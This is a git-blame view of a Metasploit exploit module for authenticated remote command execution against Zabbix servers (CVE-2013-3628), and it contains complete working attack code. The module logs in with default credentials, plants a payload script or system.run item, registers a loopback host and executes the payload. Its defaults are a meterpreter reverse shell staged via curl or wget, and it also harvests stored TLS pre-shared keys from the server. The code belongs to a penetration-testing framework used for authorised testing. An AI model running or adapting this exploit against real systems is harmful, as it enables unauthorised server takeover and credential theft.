Files
metasploit-gs/modules/exploits/multi/http/zabbix_script_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

392 lines
10 KiB
Ruby
Raw Normal View History

2013-10-30 10:25:48 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-30 10:25:48 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-10-30 10:25:48 -05:00
Rank = ExcellentRanking
2022-05-11 15:31:45 -04:00
include Msf::Exploit::Retry
2013-10-30 10:25:48 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
2013-10-30 10:25:48 -05:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zabbix Authenticated Remote Command Execution',
'Description' => %q{
ZABBIX allows an administrator to create scripts that will be run on hosts.
An authenticated attacker can create a script containing a payload, then a host
with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.
This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>', # Discovery / msf module
'lap1nou <lapinousexy[at]gmail.com>' # Update of the module / Item technique
2013-10-30 10:25:48 -05:00
],
'References' => [
2013-10-30 12:25:55 -05:00
['CVE', '2013-3628'],
2022-01-23 15:28:32 -05:00
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
2013-10-30 10:25:48 -05:00
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
2022-02-02 12:34:07 -08:00
'CmdStagerFlavor' => [ 'curl', 'wget', 'printf' ],
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'curl',
'MeterpreterTryToFork' => true,
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse'
}
}
]
],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 60 },
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
2013-10-30 10:25:48 -05:00
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'Admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'zabbix']),
OptString.new('TARGETURI', [ true, 'The URI of the Zabbix installation', '/zabbix/']),
OptString.new('TLS_PSK_IDENTITY', [ false, 'The TLS identity', '']),
OptString.new('TLS_PSK', [ false, 'The TLS PSK', '']),
OptEnum.new('TECHNIQUE', [ true, 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled', 'script', ['script', 'item']]),
OptInt.new('TIMEOUT', [ false, 'The last API calls made can take some amount of time to complete, this is the timeout to wait', 120])
]
)
2013-10-30 10:25:48 -05:00
end
def check
auth_token = login
zabbix_version = get_version
2013-10-30 10:25:48 -05:00
str = rand_text_alpha(18)
script_id = create_script(auth_token, zabbix_version, "echo #{str}")
group_id = find_group_id(auth_token)
host_id = create_host(auth_token, group_id)
2013-10-30 10:25:48 -05:00
resp = execute_script(auth_token, host_id, script_id)
if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str
return Exploit::CheckCode::Vulnerable
2013-10-30 10:25:48 -05:00
end
2013-10-30 10:25:48 -05:00
return Exploit::CheckCode::Safe
end
def send_json_api_request(method, auth_token = nil, params = {})
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api_jsonrpc.php'),
'data' => {
'auth' => auth_token,
'id' => 1,
'jsonrpc' => '2.0',
'method' => method,
'params' => params
}.to_json,
'ctype' => 'application/json-rpc'
})
fail_with(Failure::Unreachable, "The server didn't respond") if resp.nil?
json_document = resp.get_json_document
fail_with(Failure::UnexpectedReply, 'The server response is empty') if json_document.empty?
return json_document
end
def get_interfaceid(auth_token, host_id)
params = {
'hostids' => host_id,
'output' => 'extend'
}
resp = send_json_api_request('hostinterface.get', auth_token, params)
return resp['result'][0]['interfaceid']
end
def create_item(auth_token, host_id, payload)
interface_id = get_interfaceid(auth_token, host_id)
item_title = rand_text_alpha(18)
@item_title = item_title
print_status("Creating an item called #{item_title}")
params = {
'delay' => 30,
'hostid' => host_id,
2022-02-04 15:12:57 -05:00
'interfaceid' => interface_id,
'key_' => "system.run[#{payload},nowait]",
'name' => item_title,
'type' => 0,
'value_type' => 3
}
send_json_api_request('item.create', auth_token, params)
2022-02-04 15:12:57 -05:00
vprint_good('Successfully created an item')
end
def create_script(auth_token, zabbix_version, payload)
2013-10-30 10:25:48 -05:00
script_title = rand_text_alpha(18)
@script_title = script_title
print_status("Creating a script called #{script_title}")
params = {
'command' => payload,
'name' => script_title,
'type' => 0
2013-10-30 10:25:48 -05:00
}
2022-02-02 14:30:02 -08:00
if zabbix_version >= Rex::Version.new('5.4.0')
params[:scope] = 2
end
resp = send_json_api_request('script.create', auth_token, params)
script_id = resp.dig('result', 'scriptids', 0)
@script_id = script_id
2013-10-30 10:25:48 -05:00
return script_id
end
2013-10-30 10:25:48 -05:00
def execute_script(auth_token, host_id, script_id)
print_status('Executing the script...')
2013-10-30 10:25:48 -05:00
2022-05-13 09:16:01 -04:00
retry_until_truthy(timeout: datastore['TIMEOUT']) do
params = {
'scriptid' => script_id.to_s,
'hostid' => host_id.to_s
}
resp = send_json_api_request('script.execute', auth_token, params)
next if !resp['error'].nil?
return resp
2013-10-30 10:25:48 -05:00
end
end
2013-10-30 10:25:48 -05:00
def find_tls_psk(auth_token)
print_status('Searching for a TLS PSK (pre-shared key)...')
resp = send_json_api_request('host.get', auth_token)
# Searching for a PSK
resp['result'].each do |host|
next if host['tls_psk'].to_s.strip.empty?
print_good("Found a TLS PSK '#{host['tls_psk']}' for the identity '#{host['tls_psk_identity']}', setting them...")
datastore['TLS_PSK'] = host['tls_psk']
datastore['TLS_PSK_IDENTITY'] = host['tls_psk_identity']
break
end
end
def exploit_script(auth_token, zabbix_version)
case target['Type']
when :unix_cmd
script_id = create_script(auth_token, zabbix_version, payload.encoded)
when :linux_dropper
script_id = create_script(auth_token, zabbix_version, generate_cmdstager.join)
end
group_id = find_group_id(auth_token)
host_id = create_host(auth_token, group_id)
execute_script(auth_token, host_id, script_id)
end
2013-10-30 10:25:48 -05:00
def exploit_item(auth_token)
group_id = find_group_id(auth_token)
if datastore['TLS_PSK'] == '' || datastore['TLS_PSK_IDENTITY'] == ''
find_tls_psk(auth_token)
end
host_id = create_host(auth_token, group_id)
case target['Type']
when :unix_cmd
create_item(auth_token, host_id, payload.encoded)
when :linux_dropper
create_item(auth_token, host_id, generate_cmdstager.join)
end
2013-10-30 10:25:48 -05:00
end
2022-01-03 16:20:16 -08:00
def find_group_id(auth_token)
2022-01-03 16:20:16 -08:00
print_status('Getting a valid group id...')
params = {
'output' => 'extend'
}
resp = send_json_api_request('hostgroup.get', auth_token, params)
2022-01-03 16:20:16 -08:00
group_id = resp.dig('result', 0, 'groupid')
@group_id = group_id
if !group_id.nil?
2022-02-04 15:12:57 -05:00
vprint_good('Successfully got a valid groupid')
2022-01-03 16:20:16 -08:00
end
return group_id
end
def create_host(auth_token, group_id)
2022-01-03 16:20:16 -08:00
host = rand_text_alpha(18)
@host_name = host
print_status("Creating a host called #{host}")
params = {
'groups' => [
{
'groupid' => group_id
}
],
'host' => host,
'interfaces' => [
{
'dns' => '',
'ip' => '127.0.0.1',
'main' => 1,
'port' => '10050',
'type' => 1,
'useip' => 1
}
]
}
2022-01-03 16:20:16 -08:00
if datastore['TLS_PSK_IDENTITY'] != '' || datastore['TLS_PSK'] != ''
params[:tls_connect] = 2
params[:tls_psk_identity] = datastore['TLS_PSK_IDENTITY']
params[:tls_psk] = datastore['TLS_PSK']
end
resp = send_json_api_request('host.create', auth_token, params)
host_id = resp.dig('result', 'hostids', 0)
@host_id = host_id
2022-02-04 15:12:57 -05:00
vprint_good('Successfully created an host')
2022-01-03 16:20:16 -08:00
return host_id
end
def login
params = {
'password' => datastore['PASSWORD'],
'user' => datastore['USERNAME']
}
resp = send_json_api_request('user.login', nil, params)
auth_token = resp['result']
@auth_token = auth_token
if !auth_token.nil?
2022-02-04 15:12:57 -05:00
print_good('Successfully logged in')
2022-01-03 16:20:16 -08:00
end
return auth_token
end
def get_version
resp = send_json_api_request('apiinfo.version')
2022-01-03 16:20:16 -08:00
version = Rex::Version.new(resp['result'])
@zabbix_version = version
if !version.nil?
vprint_status("Zabbix version number #{version}")
2022-01-03 16:20:16 -08:00
end
return version
end
2022-01-03 16:20:16 -08:00
def exploit
version = get_version
auth_token = login
if datastore['TECHNIQUE'] == 'script'
exploit_script(auth_token, version)
elsif datastore['TECHNIQUE'] == 'item'
exploit_item(auth_token)
end
2022-01-03 16:20:16 -08:00
end
def delete_host(auth_token, host_id, host_name, zabbix_version)
params = {}
if zabbix_version < Rex::Version.new('2.2.0')
params = [ { 'hostid' => host_id } ]
else
params = [ host_id ]
end
resp = send_json_api_request('host.delete', auth_token, params)
if !resp['result'].nil?
2022-02-04 15:12:57 -05:00
vprint_good("Successfully deleted '#{host_name}' host")
else
print_warning("Couldn't delete the host '#{host_name}'")
end
end
def delete_script(auth_token, script_id, script_title)
params = [ script_id ]
resp = send_json_api_request('script.delete', auth_token, params)
if !resp['result'].nil?
2022-02-04 15:12:57 -05:00
vprint_good("Successfully deleted '#{script_title}' script")
else
print_warning("Couldn't delete the script '#{script_title}'")
end
end
def cleanup
return unless @host_id
delete_host(@auth_token, @host_id, @host_name, @zabbix_version)
return unless @script_id
delete_script(@auth_token, @script_id, @script_title)
ensure
super
end
2013-10-30 10:25:48 -05:00
end